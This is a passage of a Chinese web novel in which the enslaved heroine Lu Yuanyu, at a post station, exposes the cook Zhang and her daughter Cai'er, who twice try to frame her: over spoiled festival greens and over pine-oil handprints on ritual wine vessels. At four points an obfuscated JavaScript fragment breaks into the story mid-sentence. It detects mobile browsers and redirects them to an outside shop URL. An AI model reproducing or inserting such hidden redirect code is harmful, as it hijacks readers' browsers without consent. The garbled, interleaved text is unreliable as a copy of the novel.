“另外,在春社日之前,于荒野中重新采挖、辨认并凑齐‘春盘八样’野菜,以补社祭之用!若做不到,两罪并罚!” “大人!冤枉啊大人!”张婆子哭天喊地,“都是这个贱奴陷害我们啊!” 陈潢眉毛一横:“她虽然是个奴才,说的话却句句在理,反看你,除了会装疯卖傻、哭天喊地还会干什么!” 张婆子不可置信地瞪大双眼,似乎是没想到陈潢会这么毫不留情指责她,一时间便又将怨气算到了路元玉身上,狠狠瞪着她。 “你给我等着!” 陈潢怒道:“还不快下去!” 路元玉也没想到。 陈潢看起来不像个好人,身上气质更是阴沉腐朽,没想到还是个明事理的。 至于张婆子的威胁,她根本没放在心上。 她原本以为要多费些功夫才能解决麻烦,没想到因为采儿一句话就解决了,实属意外之喜。 虽然结果她不太满意,不过张婆子视财如命,如今罚她三个月俸禄应该能让她安分一段时间。 至于采儿,路元玉查看了原主与采儿的关系图鉴,发现以前采儿就经常有意无意欺负原主,但原主也不知这点恶意来源于何处。 在打发了张婆子母女之后,陈潢看向她,眼中怒意未消。 平复片刻,再开口时已经冷静下来。 “依你之见,是何人毁了这‘金丝芥苗’?” 路元玉不卑不亢道:“我见这胡萝卜上的牙印细密,若硬说是日常饮□□细之人所留也不为过,只是……” “只是如何?” “只是若真是其所留,那为何生吃胡萝卜,留下线索呢?” 现代人几乎都不怎么爱吃胡萝卜,在古代,还是有钱人,为什么偏偏去厨房想要毁了用于春社的祭品,又啃两口胡萝卜,为查案留下线索呢? 路元玉沉吟片刻,再度开口:“其余细节奴婢暂不清楚,需要去厨房观察细节才能下定结论。” 陈潢点头应允。 常三在前面带路。 路元玉到了厨房后,首先是看到地上坏了半筐的“金丝芥苗”,她上前细嗅,果然闻到淡淡的咸味。 再看桌面,虽然有人擦试过,但仍留下一圈盐水沾于碗底,干涸后的痕迹。 墙面上挂了一排肉,挂的比较高,所以只有下半部分有利爪撕扯过的痕迹。 至此,路元玉大概已经猜测出来元凶到底是谁了。 她小心转身。 张婆子力气太大,她的背太疼了。 “大人,想必您心里大概也有猜测,应该是只野猫。” 陈潢在房内巡视的目光缓缓落在路元玉身上,眼神充满威压。 路元玉面不改色。 片刻后,陈潢才皱眉点了点头。 他心里有了番计较。 “现在有两个可能,”路元玉开口,见陈潢略有疑问,从容补充道:“一是张婆子昨晚临走时,门窗不小心留了缝,导致野猫进来,不小心打翻了桌上的盐水,毁了‘金丝芥苗’,她害怕被责罚,便嫁祸于我。” “二则是……”路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001532|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元玉停顿了一下,“张婆子有心利用‘金丝芥苗’害我。她故意留了缝隙引野猫进来,早早离开,却又去而复返,将后院锁门用的铁链拆开,造成我离开的假象……” 陈潢并没有立时接话,抚摸胡子皱眉思考。 路元玉见状,谨慎开口:“当然,第二种也只是我的猜测,铁链也可能真的是被风吹掉的。” 虽然路元玉是这么说,但明眼人显然都不信。 昨夜根本无风,也就是常三喝大了,才会觉得是风吹的。 果然,陈潢闻言,眸中存了几分薄怒。 但张婆子是这个驿站内唯一的驿厨,在没找好下一个厨子之前,还是不再生事端为好。 想清楚后,陈潢才仔细打量起眼前这个女奴。 他来这里上任五年,对这个女奴的印象一直都是沉默内向,平平无奇。 想到路元玉方才沉静自如,从容不迫的样子,陈潢在厨房内的空地来回踱步。 沉吟片刻,道:“过段时间便有职方司郎中来此巡查。你心思细腻,现下我任命你需整理驿站历年积压文书,以备核查。” “将那些东西略作归置,能修的便修,不能修的列个单子给我。” 路元玉万万没有想到,这才经历了一个看似小题大做的栽赃陷害,还没歇口气,就又给她派任务了,不都待让她喘口气的。 她现在一介罪奴身份,根本没有拒绝的权利。 但她也不想拒绝。 她以前修复的文物古籍都是几百上千年前的,她也很想看看,现在的“古籍经典”都是什么样子。 思及此,她不禁有些跃跃欲试,但没有表现出来,只是唇角微微抿起,眉梢也柔和下来。 陈潢并没有发现路元玉如此细致的变化,在路元玉应下后,便先一步离开了。 结束了一早的闹剧后,路元玉忍不住打了个哈欠。 刚才精神紧绷没觉得,现在闲了下来,困意不住袭来,甚至想原地搭个窝直接睡去。 然而还没动作,就听旁边传来一道责骂声。 “别以为替驿丞大人了结了案子就可以高枕无忧了,还不快回去喂马?” 路元玉合住嘴,转身看向门口。 原来是常三还没走,正一脸警告意味地盯着她。 路元玉这才切实地感受到,原主是一个罪奴,是驿站中最低级的存在。 什么喂马,拌料,洗衣服,倒垃圾,扫如厕……都是她的活。 叹了口气,路元玉面如死灰:“知道了,我这就去。” 刚走出厨房,路元玉就听到又有人喊她。 她抬眼看去,早就被人拖出来的采儿站在井边,一脸阴郁地瞪着她。 “喂,你过来把这些东西洗干净,春社要用!” 路元玉定睛看去,只见井边放了一张巨大的、一人清洗需要三个人抬的三牲俎,三个雕有复杂龙纹的八龙铜尊,和一个积满油垢的火祭铜盆。 还有其他各种锅碗瓢盆,几乎都要将整个前院占满。 不知道她是从哪儿搜罗出来的。 采儿却尤嫌不够似的,恶声呛道:“天黑之前洗出来,否则晚上不许吃饭!” “别想偷懒!要是洗不干净,我饶不了你!” 5. 第五章·找茬 路元玉气急反笑。 她要是把这些东西都洗完,直接就该吃明天的早饭了! 她是官奴婢,但她又不是受虐狂。 “这些好像不需要我来洗吧?” 采儿不屑道:“你一个贱奴,你不来洗谁来洗?” 路元玉挑眉:“我洗,那你们干什么?” 然后恍然大悟道:“哦我想起来了,驿丞大人罚你们去挖野菜呢!不仅要挖野菜,还要准备各种肉菜纸酒,忙不过来了吧?” 采儿气得跺了一脚,“你个贱奴!竟敢嘲讽我?我告诉你,这些东西你洗也得洗,不洗也得洗!否则,看我怎么收拾你!” 路元玉冷哼:“收拾我?今天你们被驿丞大人收拾的还不够吗?还想来收拾我?” 采儿:“你得意什么?今日/你只是侥幸而已!你信不信你若是不将这些都洗了,驿丞大人一定不会放过你!” 路元玉骤然失语。 是了,她现在只是一个奴婢,谁都可以在她头上踩两脚。 见路元玉吃瘪,采儿心情大好,昂首挺胸离开了。 路元玉眉心微拧,目光从采儿逐渐消失的背影上收回,落在井边的一堆器具上。 原主到底是哪里招惹她了? 自己区区一个奴婢,为何被她如此针对? 路元玉也抬脚离开,先把今天的马喂了,卫生打扫干净之后,才走到井边,开始认命地洗刷。 没办法,这些东西早晚都是她的,就像采儿说的,她如果不洗,让司吏和驿丞知道了,肯定会被罚的。 晚饭她随便吃了一口,直到常三要锁门,赶她回去时,她才终于将东西洗完。 拖着疲惫的身体倒头就睡。 接下来几天,采儿总是有各种理由来嗟磨她,不是让她洗刚洗干净的酒杯,就是让她洗沾满了百年油污的地毯,总之就是一刻都不让她闲下来。 - 两天后清晨,苕溪村吴公祠内。 陈婆婆拎着一桶水和一个抹布,早早地来到了吴公祠。 再过两日便是春社了,虽说吴公祠已经荒废,但出于她的感恩之心,她仍在每年重大节日时来此打扫和祭拜。 然而这次一进门,便发现祠内的角落里坐着一个高大的男子。 这男子身边都是血,虽然已经干涸,但还是给人不小的冲击。 男子身上情况好一些,虽然有很多伤口,但都已经被人包扎过。 陈婆婆先是吓了一跳,反应过来后连忙上前试探鼻息,发现他还有气,便放下心来,一边叫他,一边轻拍他的脸。 虽然伤口被包扎过了,但一直睡在这里不是个事儿啊。 没叫很久,很快眼前的男人便醒了过来。 由于男眼前人有头发挡着,所以陈婆婆并没看见男人眼中一闪而过的杀意。 她见男人动了,便说道:“你醒了?还能走吗?” 男人沉默片刻,身体一震,突然咳嗽了两声。 他伸手摸上了致命伤伤口处,触及到一片软麻布。 男人面色惨白,气质阴冷,衣服上尽是血迹。 陈婆子活了这么久,杀过鸡也宰过羊,见过很多血腥场面不在怕的。 眼前这男人明明什么也没说,什么也没做,陈婆子却紧张地咽了咽口水,有些后悔今天过来了。 这男人给人的感觉太怪了,浑身阴嗖嗖的。 但陈婆子是个热心肠,即使突然感到有些害怕,还是壮着胆子问:“小伙子?你感觉怎么样?要不要婆婆给你弄点吃的?” 季修宁僵硬的眼珠轻微转动。 “是您救了我吗?” 他声音沙哑,低声问。 陈婆婆摇摇头。 “小伙子你命大,不是我救了你。但你现在情况依旧很危险,你在这儿等着,我去给你拿点吃的,我家离这里很近。” 谁知她还没动,眼前这个男人却先动了。 他挣扎着从地上站起来,衣摆上的血迹便滴滴答答的落下来,像在下一场血雨。 陈婆子看得心惊肉跳,一时间也不敢开口说什么。 男人动作很慢,看上去很虚弱,却由内而外散发出一种毒蛇般湿冷的气息,让人不寒而栗。 陈婆子怔怔站在原地,看着他一瘸一拐走远了,才回过神来,看着这一地的血迹,脸色苍白。 “造孽……造孽哟……” - 直到春社前一晚,路元玉终于得闲,在井边洗手。 她的双手这几日高强度浸泡在碱水中劳作,指腹溃烂渗血,又痛又痒,十分难受。 然而还没一会儿,她坐下休息的样子被采儿看到。 采儿上前故意打翻了装满水的铜盆,污水瞬间飞溅而起。 路元玉闪避不及,头发、衣服瞬间被淋湿。 采儿居高临下,恶意满满笑道:“哎呀,怎么这么不小心呢?” 路元玉快速站起身,将脸上的污水擦干净,直勾勾看着采儿冷声道:“你最好适可而止。” “适可而止?什么叫适可而止?我只知道‘人不为己,天诛地灭’。”采儿看向路元玉的眸子带着些挑衅的笑意。 路元玉眼眸微凝:“你这么对我,对你有什么好处?” 夜色深深,月光寂寂。 采儿笑意渐失,唇角不自觉抿紧几分,不知是想到了什么,看向路元玉的目光又带上几分忌恨。 “你别得意太久,总有一天我会让你羡慕我!” 路元玉摸不着头脑。 她现在就挺羡慕的。 采儿没有父亲,张婆子一个人拉扯她长大,对她基本没有要求,日常帮帮张婆子做活,其余时间想干什么干什么。 反观她,被父牵连,代罪之身,终身都要在这方小小的驿站内度过,没有自由更没有尊严。 这还不够她羡慕的吗? 她刚想说什么,采儿却打量了她几眼,冷声道:“明日社祭,你这卑贱样子怎能出去见人,就在后院劈柴吧。” 采儿离开后,路元玉仍坐在井边久久没有离开。 身上的井水被风一吹,阵阵发寒。 这才是她在这里生活的第五日,往后还不知道要生活多长时间,但长久地待在这里肯定不行。 不说指定要被采儿嗟磨死,她一个现代人,肯定也不会在这里给他们当一辈子奴婢。 路元玉回到柴房,将脏衣服脱下来,换了一身备用的干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001533|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服,满腹心事地睡了。 - 而此时驿站中某个厢房内还亮着灯。 张婆子满身疲惫地趴在床榻上,闭着眼睛假寐,采儿坐在床榻边上,一下一下地为她揉捏肩膀。 忽然,张婆子低声叫了一声:“哎呦轻点!疼死你娘了!” 采儿连忙从出神的状态中回神,放轻力道为母亲缓解痛处肌肉。 “抱歉娘,我不是故意的。” “行了行了。”张婆子叹了口气,直起身坐了起来,语重心长道:“娘知道你不甘心,娘也不甘心。咱们娘俩竟被一个小丫头片子给刷的团团转,放心,娘会给你报仇的。” 采儿一脸郁闷:“怎么报仇啊,她虽然是奴婢,但却不能轻易撵走她,她要是还在这里一天,我就一天开心不起来。” 张婆子一脸恨铁不成钢地看着她:“你这个傻丫头,怎么那么死心眼?你将她看得那么重要干什么?” 采儿:“娘你又不是不知道,明砚他——” 提起这个人,采儿更是郁闷,不说下去了。 “傻丫头,就算吴明砚对那个死丫头有好感,但她再怎么好也只是个贱婢,待日后明砚中了进士,眼界开阔了,定然不会在看上她!” “可是等明砚中了进士后,也不一定就会看上我呀!我得趁着明砚还没有对路元玉死心塌地时,拿下他。” “谁说的?”张婆子自信道,“我闺女这么优秀,长得又漂亮,吴明砚那死小子喜欢还来不及呢。” “娘,您就别取笑我了,我现在烦得要死。” 张婆子闻言,定定看着自己的女儿,忽然计上心来。 “娘问你,是不是让吴明砚厌弃那贱婢,你就高兴了?” 采儿点头,张婆子又道:“附耳过来。明日你……” 翌日一大早,路元玉就被开门的常三叫醒了。 他毫不留情地踹了一脚柴房的门,喝道:“赶紧起了!今日春社祭祀,活动盛大,不许出一点差错。赶紧起来准备!” 路元玉从床上爬起来,睡意朦胧地洗漱完,还没来得及吃饭,就又被采儿逮住了。 路元玉避不及时,只好站在原地看她又有什么幺蛾子。 不出所料,采儿甩给她一个抹布,神色倨傲道:“去把厨房外面的青铜酒爵擦拭干净,然后摆放到案上。如果干得好,这次春社我就大发慈悲,让你参加。” 路元玉面不改色接过满是油污的抹布,问道:“你大发慈悲就不必了,只是我有个问题,那些酒爵我昨天已经清洗得很干净了,有必要再擦一遍?” “洗干净了?我怎么不记得让你洗过?我劝你赶紧去吧,耽误了祭祀,十个你都不够罚。” 采儿又拿着春社的名头来压她,偏偏她一个奴婢确实什么都反抗不了,只好拿着抹布去到了厨房。 厨房外面的架子上确实放着一些酒爵青铜酒樽,这是她昨天刚清洗过一遍的。 她走上前拿起酒爵查看,然而刚一拿起就感觉酒爵外身油腻黏手,她将酒爵放下,而自己的手上赫然变得一片黝黑! 这是、松油! 松油沾手即粘黑污,如果她不注意,将松油弄得哪里都是,定会被采儿再次污蔑! 6. 第六章·黑手印 路元玉清凌凌的眸子里似乎要冒出火星来。 她已经这么惨了为什么采儿还要连番害她? 难道就是因为上一次她们没有栽赃成功,反而自作自受而怀恨在心? 路元玉想,如果采儿再陷害她,她一定不会再轻易忍让了。 路元玉眼眸微闪,想好后面该怎么办后,又被眼前的事弄得有些头疼。 松油其实要去除也并不难,就是很麻烦。 松油遇热变黏,遇冷变硬,不溶于水但溶于油脂和某些有机溶剂,她可以找一些茶籽油或芝麻油来以油溶油,再用面团将 油污带走即可。 想好方法后,路元玉抬脚便往厨房走去,找茶籽油和面粉。 张婆子正在厨房忙碌,见路元玉进来生气地骂了一句,便没空再管她。 张婆子的铁锅里不知道正在炒什么,即使盖着盖子也闻到了很香的味道。 路元玉没有多做停留,在厨房内找油桶。 然而找了一圈,也没见到油桶放在那里。 于是不得不问张婆子道:“张婆子,厨房里的油桶放在哪里?” 张婆子往灶中填了根柴,闻言抬起头,问:“油桶?你要油桶干什么?” “洗酒爵,你不知道吗?”路元玉冷笑着回答。 看到张婆子刻意装作毫不知情的样子,心底更是越发厌恶。 “松油?酒爵上怎么会沾了松油?你是故意弄上去的吧?” 路元玉:“到底是谁谁心里清楚,你最好别在关键时刻耍花招,否则陈驿丞饶不了你。你忘了前几日罚你的事情了?” 张婆子脾气暴,一激就怒,说着就捋起袖子想要打人。 路元玉不仅没有后退,反而还前进两步,冷冷道:“打啊,有本事你打死我,否则我还会去给陈驿丞告你的状!让他知道你干的那些破事!” 闻言,张婆子愤怒的情绪忽然平静许多,只是仍恶狠狠盯着路元玉,仿佛要将她吃掉。 路元玉冷哼一声,“茶籽油,面粉。” 张婆子头扭了回去,直起身道:“没有了,厨房里的油用完了。” “用完了?”路元玉气急反笑。 “用完了也好,那我就不用洗了,到时候春社出了岔子,一起被驿丞大人责罚吧。” 张婆子皱眉:“是你自己被责罚,关我什么事?” 路元玉:“为什么不关你的事?我找你要油,你却不给我,难道不是有意要破坏春社祭祀吗?” 张婆子:“你个贱奴!用完了就是用完了,我还骗你不成?再说了,洗个酒爵,用什么茶籽油?那不是浪费吗?你以为驿站里有那么多油给你挥霍?” 路元玉不咸不淡道:“我说的没用,你说的也没用,到底怎么样,还要驿丞大人来定夺。” “既然你这里没有油,那我就走了,正好我的马还没有喂呢。” 路元玉离开后,张婆子越想越坐立不安,担心这件事真的连累到自己和女儿,便掐着点,在快到终点时,她才风风火火地找到了在后院劈柴的路元玉。 “油给你买到了,现在快去洗吧。” 路元玉看了看头顶的太阳,擦了下头顶的汗珠跟着她走了。 照常来说,现在这个时间,酒爵应该早就就被摆到供桌上了,但此时竟然还没有清洗出来。 路元玉觉得,这次她有点悬。 但还是跟着张婆子去了厨房。 清洗的架子上的酒爵还是早上她离开时的样子,没人动过。 而架子旁边,则被放了半桶茶籽油,油桶上满是油污,一看就是经常放在厨房被使用的。 张婆子却说:“用吧,这是我好不容易借到的,你可省着点用。” 路元玉不吭声,走到架子前,按照自己的方法开始清洗起来。 一边又活了面团沾走油污。 由于时间紧张,她洗的很快。 虽然说是她可能会被责罚,但她只要快一点,再快一点,说不定可以躲过这次陷害呢? 终于,她很快将酒爵洗完了,虽然表面上还有一点脏污,但不仔细看,谁也发现不了。 外面已经锣鼓喧天,专业的舞狮队、演奏队的表演已经接近尾声,路元玉趁着最后鼓点声密集的尾声,顺利地将酒爵全都摆到了外面的供桌上。 心底的石头落地,她不自觉呼了一口气。 转身离开。 只是走出还没多远,就听见后面传来一声惊呼! “这酒爵上怎么有黑手印!是谁存心玷污社祭?!” 采儿声音很大,周围的人都听见了。 瞬间周围的人都凑上去看,人群中的说话声如潮涌般挤进路元玉耳中。 正在表演的人们也纷纷结束了表演,站在一边看着供桌那边传来的动静。 “天哪!老爷恕罪!神仙恕罪啊!” “求求各位神仙千万不要生气,是有人要故意害我们啊!” “是谁!是谁的心思这么歹毒?” “是谁放的这酒爵,让她出来问话!” 眼见自己的话引起了这么多人的反应,采儿暗暗勾唇,将自己的左手往身后藏了藏,道:“大家别担心,我知道这酒爵是谁摆放的,现在就叫她过来。” 下一秒,路元玉就听见了自己的名字。 “路元玉!你给我过来!” 路元玉本身就停在了回后院的路中间,此时被她一喊,众人都退后几步,只剩她一人站在那里。 她转身回眸,神色淡淡,仿佛不知道发生了什么,轻声开口:“怎么了?” 采儿见路元玉的样子,不自觉咽了口口水。 因为第一次干这种事,心脏也扑通扑通跳的厉害。 但想到明砚……她攥紧了手指,硬着头皮道:“你给我过来,看看这酒爵上的黑手印是不是你弄上去的?” 路元玉站在原地不动:“不是我。” “不是你?不是你为什么这上面有你的手印?你可是今天唯一接触过这酒爵的人,除了你还有谁?” 路元玉:“除了我,还有第一个发现酒爵上有黑手印的人,那个人是你吧?” 采儿呼吸一滞,大声道:“谁不知道我娘是负责次次此次春社的主厨,我怎么会干这种事害我娘?” 路元玉:“我怎么知道。” 采儿气不打一处来,她发现最近的路元玉好像变了一个人一样。 现在的路元玉虽然也会很听话的去干自己让她干的事,但每回都要被她呛两句,一点也不像以前一样唯唯诺诺。 尤其是上次她在陈驿丞面前那冷静自若的样子,更是和以前完全不一样。 她说路元玉被鬼上身了,陈驿丞居然还不信! 还将她赶了出去! 如果再让她这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001534|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发展下去,那明砚岂不是要被她害死? 思及此,采儿底气更是足了两分,厉声道:“路元玉,你别不承认,你如果心里没有鬼,为什么走的这么快?明摆了就是想陷害我!” 她们这边突然发生了这样的变故,很快这件事就传到了司吏吴敬和驿丞陈潢那里,两人纷纷出来看是怎么回事。 一出来,陈潢就见又是路元玉和采儿两人,一时间头痛不已。 经过上次‘金丝芥苗’之事,他还以为路元玉这奴婢是个知礼明理的,没想到也是个不让人省心的,偏偏在这么重要的日子里给他惹事。 旁边的吴敬虽然前几天都没来,但也听说了前几日张婆子和这个奴婢之间的事了,张婆子什么样的人他很清楚,只是没想到看起来木讷不已,平平无奇的奴婢能将自己摘得干干净净。 但眼下容不得他想那么多,快步走到供桌前,厉声喝道:“怎么回事?大喜的日子怎么吵吵嚷嚷的?” 采儿立时跪了下去,泣道:“大人明鉴啊!这个贱婢对我们驿站心怀不满,竟然在酒爵上涂黑手印,这是要玷污社祭,居心叵测呀!” 吴敬斜觑了眼路元玉,没有多问,道:“来人,带走!” 他只想将这件事赶紧压下去,继续春社活动。 然而这奴婢却一点眼力见儿也没有,竟然敢反抗。 路元玉眉心微拧,后退了两步,避开了小厮的抓捕,扬声道:“慢着。司吏大人要抓人,怎么也不问清事情的来龙去脉?” 吴敬面色顿时沉了下来:“大胆!你一个奴婢,难道要我腾出一天的时间来审你吗?那我们春社祭祀怎么办?耽误了祭祀,你赔得起吗?” 路元玉神情坚定有力,丝毫不怵:“我耽误?我说了这黑手印不是我弄上去的,凭什么问都不问就要抓我?” “你!”吴敬是个脾气爆的,他底下的人也都知道他的脾气,从来没有忤逆过他,霎时间被路元玉这么一顶状,顿时气得面色通红。 他是周围一带有头有脸的人物,此时竟然被一个小小的奴婢下了面子,心里气不打一出来,决定要好好教训一下眼前这个不长眼的奴婢。 但还没开口,就听陈驿丞沉声道:“具体怎么回事,等今日祭祀结束之后再做定夺,现在,先把两人都押下去。” 陈驿丞是吴敬的顶头上司,虽然陈驿丞日常不怎么管事,吴敬还是很看重他的意见,见陈驿丞发话,他就只好顺意而为。 “看什么看,还不快去!” 自己手底下的人也一个个的都跟木头似的,让他生气。 但路元玉从不是个逆来顺受的人。 这几日自己忍了采儿这么久,好不容易找到机会咬她一口,可不会就这么轻易放他们离开。 便向前两步跑到供桌前,冷声道:“你们如果敢抓我,我就把供桌掀了!” “什么?” “这这这!她敢?!” “居然敢掀供桌?我们先把她抓起来!” 吴敬瞪大眼睛惊讶路元玉的举动,周围的民众已经骚动起来。 站在前面的首当其冲,就要上来将路元玉抓起来。 路元玉见状,双手放在桌上开始发力,刚要用力掀起,不远处忽然传来一阵急促的马蹄声。 随着马蹄声一起的,是一道温润的、带着些急促的男声。 “等等!都别冲动!别冲动啊!” 7. 第七章·插曲 声音不大不小,刚好传进每个人的耳朵。 路元玉随众人看去,只见一个身穿白衣的书生从马背上利落地翻下来,站到众人眼前。 他向众人拱了拱手,淡淡笑道:“众位乡亲们好,明砚来晚了,还请见谅。” 他刚说完,手臂就被吴敬扯了一下。 吴明砚看向一脸恨铁不成钢的叔父,安抚地笑了笑。 “叔父,许久不见,本来我可以早几日赶回来的,但父亲为我引荐了府城的一位名师,此去拜见,耽误了一些时间。” 听到吴明砚这番话,吴敬难看的面色才好了些,但仍不悦道:“你回来就回来,喊什么喊?” 转头用力一甩衣袖,厉声道:“来人,把她们先压下去!” “等等。”吴明砚上前两步,无奈道:“叔父,大喜的日子您生这么大的气做什么?发生什么事了,何不让侄儿了解一番?” “我警告你,这件事和你没关系,你不要管。”吴敬面色严肃道。 他虽然不经常来驿站,但他手底下的人多,消息也灵通,一直都知道自己这个侄儿对驿站里的这个奴婢有好感。 好在侄儿没有太过分,也没有落下功课,他这才睁一只眼闭一只眼。 但如今他要是想为这个奴婢说情,他是断然不会同意的。 “叔父,我没有想管,只是兹事体大,居然有人敢蓄意破坏春社祭祀。我身为叔父唯一的侄儿,您对我日常照顾有加,我是不忍心您的名声有损,才想着帮叔父将事情查个水落石出。” 吴明砚言辞恳切,一时间把吴敬给说得晕头转向。 “叔父您想,今日春社祭祀活动已经被破坏,您不能当作什么都没发生过,否则百姓心里定会有怨言,就算他们不说,对您日后也是不利的。” 吴明砚见吴敬态度有所松动,又温声解释道:“但如果您今日将这个人抓出来,好好教训一番,那百姓是不是就会觉得您是全心全意为他们着想的?以后叔父若是想做什么事……” 吴敬抬手,制止了吴明砚继续说下去。 该说不说,他这侄子确实天赋不错,不仅会读书,在官场上的人情往来也能驾驭,居然还会这驭人之术。 他刚才确实是想将这件事早点翻篇过去,继续春社祭祀,但经他这么一说,好像费点时间把人揪出来也不错。 便点了点头:“你说的有理。” 然后转身向百姓们说道:“乡亲们,今日春社祭祀,是我们一年一度的重大活动,对我们来说意义非凡。但如今祭祀会上竟然有人恶意搞破坏,这是居心叵测!今年如果没有风调雨顺,或者出现天灾,那都是今天搞破坏的人惹咱们祖先不高兴了,惹老天爷不高兴了!” “为了今年一年咱们都能有个好收成,我建议,今天这个案子,咱们一起审一审,势必要把这个恶人抓出来!” 众人原本对突然出现打断了他们捉人的吴明砚心有不满,但突然听到吴司吏这么说,脸上的表情才好看了点。 “这还差不多。” 吴敬见没人反对,便陪笑道:“那我们现在开始审吧!” 然而,在他说完这句话后,忽然有个穿着粗布短衣,身材魁梧的壮汉站了出来,嗤道:“审什么审?这人不就在眼前了?我看啊,你们根本是就没有想把她抓起来!” “话不能这么说,”路元玉在一边看了会儿热闹,心下也很满意这个处理方式,见有人又要往她身上泼脏水,便应道:“虽然是采儿姑娘最后接触这酒爵,也是她第一个发现酒爵上有黑手印的,但也不能凭借这两点就确定这个人是她,毕竟,我洗了一上午酒爵,又是我摆放的,我也有嫌疑。” 壮汉怒道:“你个贱奴!我说的罪人是你!你居然还想往采儿身上泼脏水!” 路元玉笑了笑:“哦,抱歉啊,我以为你在为我打抱不平呢,毕竟明眼人都知道,我只是一个奴婢,又洗了一上午酒爵,傻子才会在这个时候给自己找不痛快呢。” 她虽然嘴里说着抱歉,但神情态度可没有一点抱歉的样子。 壮汉怒极,就要上前揍她,却被身边的人拦住了。 “乡亲们。”吴明砚适时开口,温然道:“现在事情我大概已经清楚了,到底是谁我心里也有了个猜测,现在让采儿姑娘和路姑娘一同站在供桌前,到底是谁玷污了青铜酒爵,很快就能清楚了。” 众人闻言,人群中想起嘈杂的议论声,猜测纷纭。 “这么快就知道是谁了?他可才刚来。” “但是我觉得他说的有道理,我也知道是谁了。” “切,你能知道,那你说说,是谁?” “肯定就是她们其中一个呗,这还用猜?” “我觉得不会是采儿姑娘,虽然他娘有些不可理喻,但采儿心地善良、温柔和善我们是有目共睹的,她怎么会干出这种事呢?” “唉你们小点声,打扰我看戏了。” 这边,采儿在见到吴明砚的一瞬间人已经快要傻了,瞬间进入到一种紧张、激动、害怕、担忧共存的复杂心情。 明砚怎么这个时候回来了?他不是去府城参加科试预考了吗?怎么这么快就回来了? 见采儿不说话,路元玉便率先道:“吴公子,事情要从五日前说起。” 路元玉将‘金丝芥苗’一事说了出来,不卑不亢将这几她的所作所为交待了个干净。 她洗了五天的器具地毯,不仅如此她还要喂马拌料,日常生活琐事也都要她干,这些事情让一个成年男子干起来都费力,更别提她一个发育不良的女孩子。 但她面色从始至终没有变过分毫,平静得好像就是在叙述别人的故事。 “事情就是这样,我摆好后离开,还没走出多远,就被她叫住了。” 吴明砚安静地从头听到尾,和众多相亲一样,他的眉心也不自觉微微蹙起,于心不忍。 听她说完,便将视线落到了旁边的采儿身上。 声音温和平静,却听得采儿额头尽是冷汗。 “采儿姑娘,是这样吗?” 采儿不自觉有些发抖,下意识否认道:“不、不是这样的。” “采儿姑娘,”吴明砚骤然提高嗓音,严肃起来道:“请你不要撒谎。” 采儿被吓得往后一退,不小心装到了供桌上。 供桌摇晃了几下,被旁边眼疾手快的人扶住,才稳了下来。 “采儿姑娘,你若是主动认错,我可以请叔父网开一面,饶你一次,但你若是死不悔改,那就对不住了。” “不!”采儿突然痛哭起来,“不是我不是我!为什么要这么对我,我不是有意的……” 见她如此,人群中开始窃窃私语起来。 但吴明砚却丝毫不为之所动,温润的目光幽幽,甚至有些泛冷地看着她。 片刻后,采儿还是一副神经兮兮的样子,路元玉猜她是想装疯卖傻糊弄过去,便提醒道:“吴公子,大家的时间都很宝贵,如果您有什么办法证明我们二人的行为,就快点进行吧。” 不行,这件事情一定不能被他知道,否则他会讨厌她的。 “我没有!明砚你要相信我,我怎么会干出这种事呢?”采儿一副被冤枉得痛不欲生的样子,眼泪不要钱般地落下,看上去极为惹人心疼。 但吴明砚却微微拧眉,不为所动。 “明砚,你不相信我吗?你为什么不相信我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001535|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你问问父老乡亲,我是会做这种事的人吗?” 采儿见吴明砚不理睬她,她更是委屈,眼尾泛红,说话的声音都小了下来,虽然是质问,但语气更像是在撒娇。 “采儿姑娘,我信不信你没什么用,不如这样,公平起见,你们二人同时在大家面前伸出双手,谁手上有黑色油污,就是谁干的,你看如何?” 周围众人一听,顿觉这个办法级妙,便都催促着路元玉二人都伸出手。 路元玉只想尽快结束这场闹剧,于是一声不吭,上前两步,摊开了手掌心。 